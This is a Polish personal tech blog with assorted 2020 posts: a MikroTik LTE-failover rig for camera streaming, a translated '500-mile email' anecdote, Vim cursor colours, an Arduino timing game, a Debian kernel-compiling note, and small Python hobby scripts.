Każdy operator kamery (albo pomocnik) ma na sobie uprząż w której zamocowane są następujące komponenty:

konwerter mediów połączony z kamerą złączem SDI, który podłączony jest do
routera ze skonfigurowanym kanałem VPN, który dostęp do Internetu ma z dwóch źródeł:
1. routera LTE uruchomionego w trybie tzw. przezroczystego bridge'a czyli de facto zachowuje się jak modem LTE.
2. oraz tzw. gwizdka czyli modemu LTE na złączu USB.

Po stronie studia jest stałe łącze światłowodowe, router i switch oraz bardzo silny komputer, który w locie dodaje do streamów elementy graficzne, jak np. logo stacji telewizyjnej¹.

Kamery nie opisuję, bo kwestia jej wyboru nie ma żadnego znaczenia. Podobnie jak wybór routera LTE, który może stać się modemem. Po prostu trzeba taki router przed zakupem sprawdzić, mogę polecić router Huawei E5186s-22a LTE, którego "przeróbkę" na bridge opisałem w innym artykule.

Najciekawszym elementem systemu jest zatem router pełniący rolę klienta VPN i umożliwiający automatyczne przełączanie źródła Internetu w przypadku gdy jedno z nich przestaje działać (failover).

Rolę routera w ty rozwiązaniu pełni Mikrotik hAP, malutkie ale zwinne urządzenie z RouterOS-em na pokładzie.

Dwa interfejsy: ether1 i lte1 łączą z Internetem, ether1 z routerem (modemem) D-Link LTE, a lte1 z gwizdkiem LTE. Oba znajdują się w grupie interfesjów WAN.

Po skonfigurowaniu Mikrotika z domyślnymi ustawieniami dla trybu WISP-AP (robi się w trybie Quickset), interfejs WiFi został wyłączony, ponieważ nie będzie używany.

Potem można już było ustawić firewall, failover oraz VPN-y.

Najważniejsze, że do konwerterów SDI można się zalogować bezpośrednio z PC obsługującego transmisję i zmienić parametry streamów, np. birate. Szkoda, że sam konwerter nie został wyposażony w API pozwalające na przesyłanie komend, w takim przypadku napisalibyśmy skrypty i ułatwili pracę realizatora programu².

Inną ważną cechą zestawu jest łatwość jego klonowania, która sprowadza się do zapisania ustawień, a następnie wczytania ich na nowym urządzeniu. Można w ten sposób w krótkim czasie przygotować setki urządzeń.

Reszty konfiguracji nie będę tu opisywał ale jeśli ktoś potrzebuje pełnego technicznego opisu to zapraszam do kontaktu. Chętnie podzielimy się wiedzą, a jeśli ktoś po prostu potrzebuje podobnego zestawu możemy go wykonać.

[1] *

[2] *

Istnieje możliwość dołożenia serwera, który może streamy zapisywać albo konwertować i jendocześnie restreamować do wybranej aplikacji. ↩
Konwerter działa pod kontrolą Linuksa, firmware zawiera pliki, które dają nadzieję na dołożenie skryptów. ↩

Przypadek 500-milowego e-maila

2020-09-11T09:03:00+02:00

Poniżej moje tłumaczenie, kalekie zapewne, jednej z przepysznych anegdot z historii komputerów. To lubię. Oryginał wciąż dostępny http://www.acme.com/jef/netgems/500miles.html**. Wymagana podstawowa znajomość systemów z rodziny Unices oraz spolszczonego slangu. **

Subject: Przypadek 500-milowego e-maila.

Date: Tue, 26 Nov 2002 14:57:40 -0800

From: Trey Harris To: 0xdeadbeef@petting-zoo.net

Oto przypadek, który brzmiał niewarygodnie; właściwie żałuję, że opowiadanie udostępniłem szerokiemu gronu, bo to świetnia dykteryjka na konferencyjne posiedzenia w barze. ;-) Historia została lekko podrasowana aby ochronić winnych, pominąć nudne lub nieistotne szczegóły oraz uczynić ją bardziej wciągającą.

Pracowałem wtedy przy obsłudze uniwersyteckiego systemu poczty elektronicznej. Było to parę lat temu. Pewnego dnia zadzwonił do mnie szef działu statystycznego.

Mamy kłopot z wysyłaniem e-maili.
Co się dzieje? - spytałem.
Nie możemy wysłać poczty dalej niż 500 mil.

Zakrztusiłem się kawą: - Słucham!?

Nie możemy wysłać żadnego e-maila dalej niż 500 mil stąd. - powtórzył - Konkretnie to ciut dalej, powiedzmy 520 mil. Ale nie dalej.
Eee... E-maile tak nie działają, proszę pana - powiedziałem, próbując nie panikować. Nie powinno się okazywać paniki podczas rozmowy z szefem działu, nawet jeśli jest to szef działu tak niewiele znaczącego jak statystyka. - Dlaczego uważa pan, że wasze e-maile nie dochodzą dalej niż 500 mil?
Proszę pana, ja nie *uważam*, ja wiem. - odparł szef - Widzi pan, gdy po raz pierwszy to zauważyliśmy czyli kilka dni temu...
Kilka dni?! Czekaliście z tym kilka dni?! - przerwałem mu - I przez cały ten czas nie mogliście wysyłać poczty?
Mogliśmy. Tyle, że nie dalej niż...
500 mil, tak, tak. - znowu mu przerwałem - Rozumiem. Ale czemu nie zadzwoniliście wcześniej?
Prawdę mówiąc, nie mieliśmy dostatecznej ilości danych, żeby upewnić się w czym rzecz. Aż do dzisiaj...

"No tak, przecież to szef STATYSTYKI."

W każdym razie, poprosiłem jedną z geostatystyczek, żeby się temu przyjrzała...
Geostatystyczek!?
Tak. I przygotowała mapę z zaznaczonym okręgiem, w zasięgu którego nasze e-maile docierają. W promieniu nieco ponad 500 mil jest kilka miejsc do których nie docieramy lub dobijamy się sporadycznie, jednak poza ten okrąg wyjść nie możemy.
Rozumiem. - powiedziałem i złapałem się za głowę - Kiedy to się zaczęło? Powiedział pan, że kilka dni temu, ale czy w międzyczasie nic się nie zmieniło w waszych systemach?
Był tu informatyk, zapaczował nasz serwer i zrestartował. Dzwoniłem do niego ale twierdzi, że do systemu pocztowego w ogóle się nie dotykał.
OK, zobaczę co się dzieje i zadzwonię do pana. - powiedziałem, próbując uwierzyć, że ktoś robi sobie ze mnie jaja. To nie był Prima Aprilis ale zastanawiałem się czy nie zalazłem komuś za skórę na tyle, żeby próbował się odegrać.

Zalogowałem się na serwer statystyków i wysłałem kilka testowych e-maili. Znajdowałem się w Trójkącie Naukowym w Północnej Karolinie i e-maile dotarły na moje konto bez problemu. Tak samo wysłane do Richmond, do Atlanty i Waszyngtonu. Inny, puszczony do Princeton (400 mil) też zadziałał.

Ale potem spróbowałem wysłać pocztę do Memphis (600 mil). Nie doszła. Boston, też nie doszła. Detroit, również porażka. Wziąłem książkę adresową i próbowałem zawęzić obszar. Nowy Jork (420 mil) działał ale Providence (580 mil) już nie.

Zacząłem się martwić o swoje zdrowie psychiczne. Napisałem do kolegi mieszkającego w Północnej Karolinie, którego prowajder internetowy znajdował się w Seattle. Na szczęście, to nie zadziałało. Gdyby okazało się, że to ma coś wspólnego z położeniem geograficznym odbiorcy, a nie z jego serwerem pocztowym, pewnie rzuciłbym się z płaczem na podłogę.

Po ustaleniu, że choć to nieprawdopodobne, problem rzeczywiście istnieje i jest powtarzalny, rzuciłem okiem w plik sendmail.cf. Wyglądał dosyć normalnie. Wyglądał znajomo.

Porównałem go diffem ¹ z kopią w moim katalogu domowym. Nikt go nie zmienił - to był ten sam plik, który stworzyłem. I byłem prawie pewny, że nie włączałem w nim opcji "FAIL_MAIL_OVER_500_MILES?". ² Nie wiedząc co robić, telnetnąłem się na port SMTP. Serwer wyświetlił banner Sunowskiego sendmaila ³.

Chwila, moment! banner Sunowskiego sendmaila? W tym czasie, wraz ze swoim systemem Sun wciąż dostarczał Sendmaila 5, mimo że Sendmail 8 był już całkiem dojrzałym programem. Jako dobry administrator oparłem się właśnie na wersji 8. I również jako dobry administrator napisałem własnoręcznie sendmail.cf, używając w nim długich, opisowych dyrektyw dostępnych w Sendmailu 8, zamiast zagadkowych, pełnych znaków interpunkcyjnych dyrektyw z Sendmaila 5.

Wszystkie kawałki układanki znalazły się na miejscu, a ja zakrztusiłem się fusami wystygłej kawy! Podczas gdy informatyk paczował serwer najwyraźniej zapgrejdował SunOS-a, i jednocześnie *zdałngrejdował* Sendmaila. Uaktualnienie szczęśliwie pozostawiło sendmail.cf bez zmian ale obecnie w niewłaściwej wersji.

Najwidoczniej Sendmail 5 - lub wersja, którą rozprowadzał Sun - dawała sobie radę z sendmail.cf z wersji 8-ej bo większość dyrektyw pozostała niezmieniona. Nowe, długie dyrektywy konfiguracyjne Sendmail potraktował jako śmieci i odpuścił je sobie. A że, binarka Sendmaila nie ma wkompilowanych ustawień domyślnych dla większości z nich, nie znalazłszy ich w sendmail.cf poustawiała je na zero.

Jednym z wyzerowanych ustawień był timeout przy połączeniu do zdalnego serwera SMTP. Po paru eksperymentach okazało się, że dla tej konkretnej maszyny, przy jej typowym obciążeniu, zerowy timeout zamyka połączenie po upływie ciut więcej niż trzech milisekund.

Nasza sieć uniwersytecka miała w tym czasie dość dziwną cechę, mianowicie była w 100% przełączalna. Pakiet wychodzący nie powodował opóźnienia routera dopóki nie dotarł do POP-a ⁴, zawrócił i osiągnął router od drugiej strony. Czas na połączenie ze zdalnym, niezbyt obciążonym hostem był w w większym stopniu zależny od odległości mierzonej prędkością światła niż od opóźnień routera.

Czując lekkie zawroty głowy, wpisałem w shellu:

$ units ⁵

1311 units, 63 prefixes

You have: 3 millilightseconds
You want: miles
   * 558.84719
   / 0.0017893979

500 mil, konkretnie ciut dalej.

Trey Harris

W opowiadaniu ostatni akapit w wersji polskiej units wyglądałby tak:

$ units
1311 units, 63 prefixes
Masz: 3 milisekundy świetlne
Chcesz: mile
   * 558.84719
   / 0.0017893979

diff (od differences - ang. różnice) program do porównywania plików i wyświetlania różnic między nimi. ↩
"PORZUĆ_EMAIL_DALEJ_NIŻ_500_MIL?" - nie tłumaczę w tekście tej nieistniejącej opcji bo konfiguracja Sendmaila, z tego co wiem, dopuszcza jedynie ustalone, angielskie terminy. ↩
Program do obsługi poczty, serwer w odróżnieniu od programów klienckich takich jak Pine czy Mutt. ↩
Point Of Precence czyli Miesce Obecności czyli jakiś host lub urządzenie aktywne. ↩
Dla tych co nie korzystali nigdy z programu units, jest to bardzo rozbudowany ale prosty w użyciu konwerter jednostek. Po ruchomieniu pyta You have: czyli co masz, należy wtedy wpisać liczbę oraz jednostki które chcemy przeliczyć, potem pyta You want: czyli czego chcesz, należy wpisać jednostki na które poprzednia wartość ma być przeliczona. Na koniec pojawia się wynik. ↩

Terminal st, VIM i kolory

2020-08-22T19:05:00+02:00

Sam sobie zgotowałem ten los! Zacząłem używać skórki Cosmic Latte, i w shellu i w VIM-ie, i dobrze mi z tym jest, z jednym zastrzeżeniem: w trybie Insert w VIM-ie bardzo słabo widać gdzie znajduje się kursor.

Naprawiłem to wprowadzając podświetlenie kolumny, dopisałem do .vimrc to:

set cursorcolumn (demo można sobie zrobić wpisując :set cul)

Było mi mało, więc podświetliłem też wiersz:

set hl=.:Visual

Kropka oznacza aktywny wiersz, a po dwukropku znajduje się nazwa szablonu kolorów. Można się tym fajnie bawić, np. przekreślenie aktywnego wiersza to:

set hl=.t

Wciąż było mi mało, chciałem mieć kursor w innym niż domyślny kolorze ale żadne ustawienia nie działały. Taki efekt można uzyskać np. w 256-kolorowym xtermie, wykorzystując do tego kody ANSI ale ja używam 24-bitowego emulatora st, który domyślnie nie obsługuje tej funkcji.

Na szczęście znalazłem patch: https://st.suckless.org/patches/osc_101112/ po zaaplikowaniu którego można już robić to samo co w xtermie.

Zabarwienie kursora na czerwono sprowadza się do paru linijek w .vimrc:

if &term =~ "xterm\\|rxvt\\|st"
  " use an orange cursor in insert mode
  let &t_SI = "\<Esc>]12;orange\x7"
  " use a red cursor otherwise
  let &t_EI = "\<Esc>]12;red\x7"
  silent !echo -ne "\033]12;red\007"
  " reset cursor when vim exits
  autocmd VimLeave * silent !printf "\033c"
  " use \003]12;gray\007 for gnome-terminal
endif

Ważna linia to ta, zawierająca "VimLeave", uruchamia ona sekwecję przywracającą domyślne ustawieia. Gdyby jej zabrakło, po wyjściu z VIM-a kursor pozostałby czerwony.

p.s. Wstrzymanie VIM-a (Ctrl+Z) pozostawia czerwony kursor, bawiłem się autokomendami związanymi z buforami ale skończyło się tragicznie.

p.p.s. Przy okazji dowiedziałem się, że istnieje autokomenda:

UserGettingBored                When the user presses the same key 42 times.
                                Just kidding! :-)

Samobójstwo Oświecenia

2020-08-02T07:15:00+02:00

Czy biorąc się za naprawę komputera odrzuciłbyś proste narzędzia jak wkrętak czy szczypce, a skupił wyłącznie na oscyloskopie?

Czy warto czytać książkę do ostatniej kartki kiedy wie się już co będzie dalej albo jaka jest odpowiedź na główne pytanie?

Stanąłem przed tym drugim dylematem po przeczytaniu kawałka słowa wstępnego wczoraj kupionej książki "Samobójstwo Oświecenia", napisanej przez Andrzeja Zybertowicza z zespołem.

A leci to mniej więcej tak:

"Głównym zadaniem niniejszej książki miała być odpowiedź na pytanie: co ustalenia szeroko rozumianej neuronauki znaczą dla podstaw nauk społecznych i cywilizacji współczesnej?"

"Czy neuronauka, zajmująca się przecież mechanizmami pracy umysłu człowieka, daje nam istotnie nowy wgląd w to, w jaki sposób poznajemy i pojmujemy świat?"

"Czy ta dyscyplina wiedzy, która bada ludzki umysł nie w trybie introspekcji i filozoficznych spekulacji, a metodami zmatematyzowanych i stechnicyzowanych nauk przyrodniczych, metodami uznawanymi za znacznie mniej zawodne od stosowanych w naukach społecznych, może wreszcie dać nam gruntowny, obiektywny wgląd w naturę człowieka? Czy dzięki neuronauce uzyskamy lepszy, gdyż na 'twardych' faktach ugruntowany wgląd w to, kim-naprawdę-jesteśmy?"

Czytać dalej czy nie czytać?

O! To doskonałe pytanie - powiedziałby zdrajca Maleszka.

p.s. W podtytule jest podpowiedź.

Arduino: gra "Minutka"

2020-07-30T23:22:00+02:00

Powyższy obrazek powstał z dwóch, pobranych z Internetu, sklejonych i obrobionych w GIMP-ie na Debianie. Efekt zdjęcia na Allegro (przedmiot na dywanie oświetlony słońcem z balkonu) po użyciu: Filters -> Light and Shadow -> Lighting Effects. ;)

Dwa lata temu bawiłem się na Arduino UNO (poszedłem na Giełdę Elektroniczną po jakieś styki, obejrzałem RPi3 i... kupiłem oryginalne UNO) w "programowanie".

Napisałem jakieś badziewie odgrywające tytułową muzykę z badziewnej spaceopery o Imperatorze i odzianych w skóry Rebeliantach. W końcu dokupiłem 7-segmentowy wyświetlacz i... nie miałem pojęcia co na nim wyświetlać.

To moje przekleństwo, że większość projektów na IOT uważam za niepotrzebne zawracanie gitary. Bo do czego przyda się komuś pianinko, w którym klawiszami są owoce cytrusowe? Albo tagowanie samego siebie, żeby się światło zapalało jak wejdę do pokoju?

Zrobiłem termometr z barometrem ale po chwili stwierdziłem, że niczego nie uprawiam, jaka pogoda widać za oknem, no to po kiego diabła mi to urządzenie?

I wtedy Gracz Niezawodny zasugerował, żeby zrobić z Arduino to, do czego wyłącznie nadają się komputery: grę!

Zasady są w kodzie. Wersja dla dwóch graczy.

/* Gra "Minutka"
   Pomysł: Antek Kaczor
   Realizacja: Paweł Kaczor

   Gra polega na wyliczeniu "w myślach" kiedy upłynie jedna minuta.
   Gracze naciskają swoje przyciski kiedy uważają, że nadszedł właściwy
   czas. Arduino zapamiętuje czas naciśnięcia i numer gracza.
   Gdy ostatni gracz przyciśnie swój przycisk, program wybiera czas
   najbliższy jednej minucie, sprawdza który gracz zwyciężył i zapala
   jego diodę.
   W program użyłem biblioteki SevSeg, ułatwiającej zabawę
   z 7-segmentowym wyświetlaczem.
*/

#include "SevSeg.h"

SevSeg sevseg;               // obiekt wyświetlacza
int pushButton = 18;         // pin Analog 4 - tu jest testowy przycisk
static int wynik1 = 0;       // wynik pierwszego gracza
#define interval 6000        // jedna minuta
unsigned long previousMillis=0;
float diffMillis=0;          // różnica między zapamiętanymi
                             // a obecnymi millisami
float gracz1=0;
float gracz2=0;
int ileRazy=0;      // ile razy gramy?
float winner;

void saveTimer(unsigned long currentMillis){
    diffMillis = currentMillis - previousMillis;
    if (ileRazy == 0) {
      gracz1 = diffMillis;
      ileRazy++;
    } else if (ileRazy == 1) {
      gracz2 = diffMillis;
      ileRazy++;
    } else if (ileRazy == 2) {
      winner = max(gracz1, gracz2);
    }
      if (diffMillis > 5000) {  // nie sprawdzam poniżej 5 sek.
                                // od poprzedniego naciśnięcia
                                // (tyle też trwa wyświetlenie)
          Serial.print("Roznica wynosi: ");
          Serial.print(currentMillis);
          Serial.print(" - ");
          Serial.print(previousMillis);
          Serial.print(" = ");
          Serial.print(diffMillis);
          Serial.print(" czyli ");
          Serial.print(diffMillis / 1000);
          Serial.println(" sekund.");
          Serial.print("ileRazy: ");
          Serial.println(ileRazy);
          Serial.print("gracz1: ");
          Serial.println(gracz1);
          Serial.print("gracz2: ");
          Serial.println(gracz2);
          Serial.print("And the Winner is: ");
          Serial.println(winner);
          previousMillis = currentMillis;
          sevseg.setNumber(diffMillis/1000, 0);
      }
}

void setup() {
  pinMode(pushButton, INPUT_PULLUP);
  // Konsola debugowania ;)
  Serial.begin(9600);
  delay(1000);  // czekam 1s na zainicjowanie Seriala
  Serial.println("Startuję...");
  // Ustawienia 7-segmentowego wyświetlacza
  byte numDigits = 4;
  byte digitPins[] = {2, 3, 4, 5};
  byte segmentPins[] = {13, 12, 11, 10, 9, 8, 7, 6};
  sevseg.begin(COMMON_ANODE, numDigits, digitPins, segmentPins);
  sevseg.setBrightness(90);
}

void loop() {
  unsigned long currentMillis = millis();
  if (digitalRead(pushButton) == HIGH) {
    saveTimer(currentMillis);
    sevseg.refreshDisplay(); // Must run repeatedly
   } else {
    // Serial.println(currentMillis);
   }
}

Jump if Equal to Zero (tis-100)

2020-07-30T22:03:00+02:00

Jestem uziemiony, a w tym uziemieniu zmieniam się w Miauczyńskiego. Adasia Miauczyńskiego. Jak ów nieszczęśnik układam nogi po siedem razy, szukając odpowiedniej pozycji, w której nie boli. Jestem żałosny, a dziś w dodatku skręciłem nogę.

Z nudów i bólu wyję i tylko, niestety, tabletka daje parugodzinny, mglisty odpoczynek. Nie ma jednak nic za darmo bo usypia. I w takiej, utkanej z maligny subwersji życia, próbuję chwycić się rzeczywistości poprzez logikę i matematykę. Grać w TIS-a usiłuję.

W segmencie 31904, który jest siódmym (tak!!! siódmym!!!) z kolei i nosi nazwę "SEQUENCE COUNTER", na wejściu dostaję, zakończone zerami, ciągi liczb. Na wyjściu podać mam sumę i długość każdego ciągu. Zabrałem się za TIS-owego assemblera, a ten mi figla spłatał. Komenda JEZ (tytułowe: Jump if Equal to Zero) ma skoczyć do etykiety w programie, kiedy w ACC (akumulator) znajduje się zero.

A u mnie skacze przy 35.

O! Proszę bardzo:

Nogi opadają!

Eeee... doczytałem manual, po instrukcji JEZ nie ma innej instrukcji więc procesor wykonuje następną linię kodu. Wystarczy dodać po linii z JEZ np. skok na początek i wszystko gra:

  JEZ SUM
  JMP START
SUM:

Głupota mnie ogarnia.

Diss dla Windows

2020-07-14T20:15:00+02:00

Lekarz zabronił mi stykać się z systemem operacyjnym Windows - powyżej skan. O powodach później, opowiem o objawach.

Początkowo nie kojarzyłem dwóch faktów: przebywania w tym samym pomieszczeniu w którym znajdował się komputer z uruchomionym Windows i narastającemu napięciu. Przez wiele lat nieuświadamiałem sobie, że swoim zachowaniem wzniecam konflkty i wywołuję zgorszenie obelżywą mową. Ciężko było o korelację bo kontakt z Windowsem był gęsto przeplatany, miłym mi, kontaktem z Linuksem lub innymi odmianami systemów *nixopodnych. Skąd, głupi, mogłem wiedzieć, że psychiczna wysypka bierze się z produktów z Redmond?

W końcu, jakaś cząstka racjonalności, jaka się jeszcze ostała w skażonych czeluściach umysłu, połączyła fakty i stała się... JASNOŚÄ†!

Pobiegłem do lekarza zawodowego: opisałem objawy, podparłem obserwacjami i odkryłem swoje podejrzenia.

Nie uwierzył.

Nie podjąłem próby przekonywania niedowiarka. Znalazłem innego ale ten również "nie widział korelacji". Potem był trzeci, czwarty, po piątym przestałem liczyć.

Wreszcie, w zupełnie przypadkowym miejscu, na zupełnie przypadkowej imprezie poznałem człowieka, który zaufał moim spostrzeżeniom. Więcej! Sam zauważał podobne reakcje u siebie lecz o słabszej amplitudzie. Mój nowo poznany znajomy okazał się być lekarzem. Cóż z tego, że weterynarii?

Ah, miałem napisać coś o objawach ale zamilknę, niech lekarskie orzeczenie będzie moim adwokatem.

Jestem jeszcze zdezorientowany i w trakcie długotrwałej rehabilitacji, wybaczcie więc, że do tego momentu zwlekałem z ujawieniem powodów.

Otóż, można je streścić w kilku zdaniach, a o ich prawdziwości niech świadczy doświadczenie każdego z Was, drodzy Czytelnicy.

Windows jest B.A.D. , jest zły, zły, zły i niedobry, wtedy gdy ma działać to nie działa, wtedy kiedy jest potrzebny to robi update, kiedy skończy update - to co działało, działać przestaje, zżera miejsce na dysku, komunikaty o błędach (bo sukcesów brak) więcej zaciemniają niż pomagają, nie da się go obsłużyć bez wielkiego manuala jakim jest 90% Internetu, która nie jest pornografią, sam Windows jest pornografią, ogłupia swoich użytkowników do tego stopnia, że trudno im zdalnie pomóc, bo no jak pomóc komuś mówiąc przez pół godziny, żeby w kliknął w coś w dolnym, lewym czy prawym rogu?, a gdy kliknie to się okazuje, że i tak to nie ta wersja, jest jednym wielkim workiem na wirusy, twórcy wirusów już dawno powinni się zlitować nad tą pomyłką i wyposażać swoje dzieła w funkcje naprawcze, gdy jako osesek zainstalowałem Windows 3.11 pod OS/2 to działał lepiej niż goły na tym samym sprzęcie, co jest dowodem, że można trochę tę POMYŁKĘ naprawić, ale po co poprawiać skoro są alternatywy?, gdy obserwuję zmiany w Windows to mam pełną świadomość, że jego twórcy też już wiedzą (brawo za orientację) jaki BABOL wypuścili, więc za 100 lat Windows będzie Linuksem, skoro już wam to powiedziałem drodzy developerzy to zróbcie, błagam, czasoskok i nadpiszcie swój kod, kodem kernela w wersji 4.9.118, wyjdzie nam i wam na dobre.

Skończyłem.

Kernel: Debian i Macbook Pro 11,3 (Retina, 15-inch, Mid 2014)

2020-06-11T22:21:00+02:00

Artykuł opisujący instalację i dopieszczanie Linuksa, a konkretniej: Debiana, na Apple Macbooku Pro (jak w tytule), mam od dawna w szufladzie i od czasu do czasu dopisuję w nim kolejne rozdziały. Czas na release...

Przedstawię go wspak bo wyszło tak. A poważnie, to po prostu dziś rano nastąpiło zwieńczenie dzieła czyli skompilował się własny kernel i pierwszą rzeczą, która naprawdę mnie zachwyciła, że w 6-letni laptop, wprawdzie z silną konfiguracją, wstąpiło nowe życie.

Jeszcze z czasów kiedy moją ukochaną dystrybucją był Slackware pamiętam, że posiadanie waniliowego czyli oryginalnego jajka było prawie hańbą. Po instalacji systemu pierwszą rzeczą była konfiguracja i kompilacja własnego kernela. Zabawa, w pierwszym rzędzie polegała na usunięciu wszystkich, zbędnych sterowników. Chodziło nie tylko o zmniejszenie pamięciożerności kernela ale i o prozaiczne skrócenie czasu kompilacji - zasada jest prosta: im mniej modułów tym mniej do kompilacji. Przy starszych maszynach miało to niebagatelne znaczenie, przecież dziś na moim i7 Turbo Boost do 3,7GHz jądro kompilowało się około 1,5 odcinka serialu "Daleko od szosy".

Kto dziś kompiluje jądro? Mam wrażenie, że niewiele osób. Bo i po co? Maszyny są na tyle mocne, że na jajku z dystrbucji ostro zasuwają, a używanie własnego kernela wiąże się z jedną, upierdliwą niedogodnością: koniec z automatycznym uaktualnianiem kernela.

DISCLAIMER: piszę to bazując na manualu Debiana, nie sprawdzałem jak jest naprawdę. Podejrzewam, że spokojnie można ten proces zautomatyzować ale z pewnością będzie to zupełnie coś innego niż uruchomienie: apt update ; apt dist-upgrade.

mkdir ~/kernel

Konfiguracja kernela to proces ŻMUDNY ale NIE TRUDNY, i można go sobie przynajmniej trochę ułatwić zaczynając od konfiguracji dostarczonej wraz z dystrybucją. Jest to o tyle dobry początek, że mamy konfigurację działającą na naszym sprzęcie, skoro na nim konfigurujemy to znaczy, że działa. :)

Konfiguracja aktualnie zainstalowanego kernela (czyli tego z paczki) w Debianie zapisana jest w pliku znajdującym się w folderze /boot, którego nazwa rozpoczyna się od słowa 'config' po którym występuje numer wersji i rodzaj architektury. W moim przypadku był to plik: /boot/config-4.19.0-8-amd64.

Skopiowałem go jako konfigurację startową:

cd ~/kernel ; cp /boot/config-4.19.0-8-amd64 ./linux-source-4.19/.config

Po coś dodałem ten firmware, chyba srało jakimiś błedami, do sprawdzenia:

http://ftp.debian.org/debian/pool/non-free/f/firmware-nonfree/firmware-misc-nonfree_20190717-2_all.deb

Adnotacja z 2026: wpis nigdy nie dokończony

Hackowanie modemu bursztynem podlane

2020-06-10T22:17:00+02:00

Gdzieś około 1986 roku zabrano mnie i kilku kolegów do Huty Stalowa Wola (HSW) na tzw. praktyki. Praktyka powinna być prawdziwym zetknięciem z później wykonywanym zawodem ale w socj(opato)alistycznej rzeczywistości PRL-u była próbą wepchnięcia młodzieży w sytuację pt. "Co my z wami mamy zrobić?".

Historia pokazał jednak, że w moim przypadku, z całej klasy tylko moim, było to rzeczywiście zetknięcie z, może nie przyszłym zawodem, ale bardziej wannabe hobby. A było to tak...

Pan inżynier, który przejął nad nami opiekę w jednym z działów HSW (biuro znajdowało się chyba w samej Dyrekcji Głównej), zostawił kilku z nas, w tym i mnie, sam na sam z bursztynowymi terminalami komputerowymi. Był to dla mnie mega-podniecający szok technologiczny!

Zaraz, zaraz... zanim nas zostawił to wyjaśnił, że terminale podłączone są do czarnej skrzynki, modemu, a modem pozwala im komunikować się z komputerem w dziale informatycznym. Dziś wiem, że w owym dziale mieścił się mainframe S/370.

Byliśmy jak dzieci, ciekawi, odważni i zdeterminowani. Nie pamiętam dokładnie co zrobiliśmy ale przełamaliśmy jakąś blokadę i zaczęli wdzwaniać bezpośrednio do zdalnego systemu. Pan inżynier usłyszał nasze podniecone okrzyki albo dźwięki z modemu i pędem wpadł do pomieszczenia, z którego, widząc nasze wysiłki, po prostu nas wyrzucił.

To było tylko potwierdzenie sukcesu, bardzo nas rozbawiło i wbiło w dumę. Żaden z nas nie znał słowa "hacker". Wszystko zrobiliśmy intuicyjnie.

Do dziś pamiętam bursztynową poświatę terminala. Te same monitory spotkałem potem wiele razy przy pracy na PC-tach firmy Elwro, no i czuję nostalgię.

A dziś znalazłem coś przepięknego! Emulator terminala z moim ukochanym bursztynem... i zacząłem na nim pracować. Zamierzam poprawić na nim kod w PHP-ie.

To cudo jest tu: Cool Retro Term.

99 butelek piwa w Pythonie

2020-06-08T02:07:00+02:00

Znalazłem gdzieś zadanie wygenerowania tekstu piosenki o 99 piwach. To odmiana harcerskiej piosenki, której nauczył mnie Gospodarczyk o Winnteou. Piosenka ta odratowała moje chore gardło i szkolna wycieczka się udała.

Kod jest krótki ale czuję, że może być jeszcze krótszy gdyby się przyłożył do przypadków specjalnych. Przypomina mi to obecnie aktualny temat formantów, cząstek występujących w słowotwórstwie. Temat aktualny bo przed nami egzamin ósmoklasisty.

def tens(t):
    tt = ("","twenty","thirty","fourty","fifty","sixty","seventy","eighty","ninety")
    return tt[int(t)-1]
def ones(o):
    oo = ("","one","two","three","four","five","six","seven","eight","nine")
    return oo[int(o)]
def spell(x):
    if len(str(x))==2:
        if str(x) == '20':
            return "twenty" , "nineteen"
        if str(x) == '15':
            return "fifteen" , "fourteen"
        elif str(x) == '13':
            return "thirteen", "twelve"
        elif str(x) == '12':
            return "twelve", "eleven"
        elif str(x) == '11':
            return "eleven", "ten"
        elif str(x) == '10':
            return "ten", "nine"
        else:
            if str(x)[0] == '1':
                z = str(ones(str(x)[1])+'teen').replace(" ","")
                y = str(ones(str(x-1)[1])+'teen').replace(" ","")
                return z, y
            else:
                z = tens(str(x)[0]) + "-" + ones(str(x)[1])
                y = tens(str(x-1)[0]) + "-" + ones(str(x-1)[1])
                return z, y
    else:
        z = ones(x)
        y = ones(x-1)
        return z, y

for i in range(99,0,-1):
    print spell(i)[0].title(),'bottles of beer on the wall,',spell(i)[0].title(),' bottles of beer. Take one down and pass it around -',spell(i)[1].title(),' bottles of
beer on the wall.'

Advent of Code dzień 3

2020-06-08T01:54:00+02:00

Wyjmuję z historii zaległości. Tym razem AoC zdaje się, że z 2018 roku ale pewności nie mam.

#!/usr/bin/python

import sys, getopt
from copy import deepcopy

def laziMikolaj(plik):
    # pierwotna tablica zbierajaca wszystkie adresy
    adresy = []
    # aktualny adres Mikolaja
    currAdr= [0,0]
    adresy.append(deepcopy(currAdr)) # pierwszy adres jest pierwszy
    # tablica zliczajaca ilosc odwiedzin
    wizyty = []
    # licze sobie ile razy robil skrecal
    up=0
    right=0
    down=0
    left=0
    # ile razy odwiedzil tylko raz
    ileRaz = 1
    # otwieram plik z danymi
    with open('day3', 'r') as myfile:
        data=myfile.read().replace('\n', '')
    # iteruje znak po znaku
    for i in range(0, len(data)):
        if data[i] == '^':
                currAdr[1]      += 1
                up += 1
        elif data[i] == '>':
                currAdr[0]      += 1
                right += 1
        elif data[i] == 'v':
                currAdr[1]      -= 1
                down += 1
        elif data[i] == '<':
                currAdr[0]      -= 1
                left += 1
    #   print "i = %d" % i
    #   print currAdr
    # zbieram aktualne adresy do glowej tablicy
        adresy.append(deepcopy(currAdr))
    # sortowanie po wspolrzednej X
    adx=sorted(adresy,key=lambda x: x[0])
    # sortowanie po wspolrzednej Y
    bdx=sorted(adx,key=lambda x: x[1])
    prevX = bdx[0][0] # poprzedniego nie ma wiec jest nim pierwszy
    prevY = bdx[0][1] # j.w.
    zmiana = 1
    for i in range(0, len(bdx)):
        x = bdx[i][0]
        y = bdx[i][1]
        if x == prevX and y == prevY:
            if zmiana == 1:
                ileRaz -= 1
                zmiana = 0
#                 print "zmiana z 1 na 0"
#             print "----------------------------------------------------------"
#             print "Obecnie:   %d:     %s" % (i, bdx[i])
#             print "Poprzednio:                %d, %d, ileRaz = %d" % (prevX, prevY, ileRaz)
        else:
            zmiana = 1
#             print "zmiana z 0 na 1"
            ileRaz += 1
#             print "----------------------------------------------------------"
#             print "Obecnie:   %d:     %s" % (i, bdx[i])
#             print "Poprzednio:        ***     %d, %d, ileRaz = %d" % (prevX, prevY, ileRaz)
            prevX = x
            prevY = y
    #print "Adresy: %s" % adresy
    print "Adresy ma %s elementow" % len(adresy)
    print "Up: %s" % up
    print "Right: %s" % right
    print "Down: %s" % down
    print "Left: %s" % left
    #print "bdx: %s" % bdx
    print "Pojedynczych prezentow bylo: %d" % ileRaz

def main(argv):
    inputfile = ''
    try:
        opts, args = getopt.getopt(argv,"hi:o:",["ifile="])
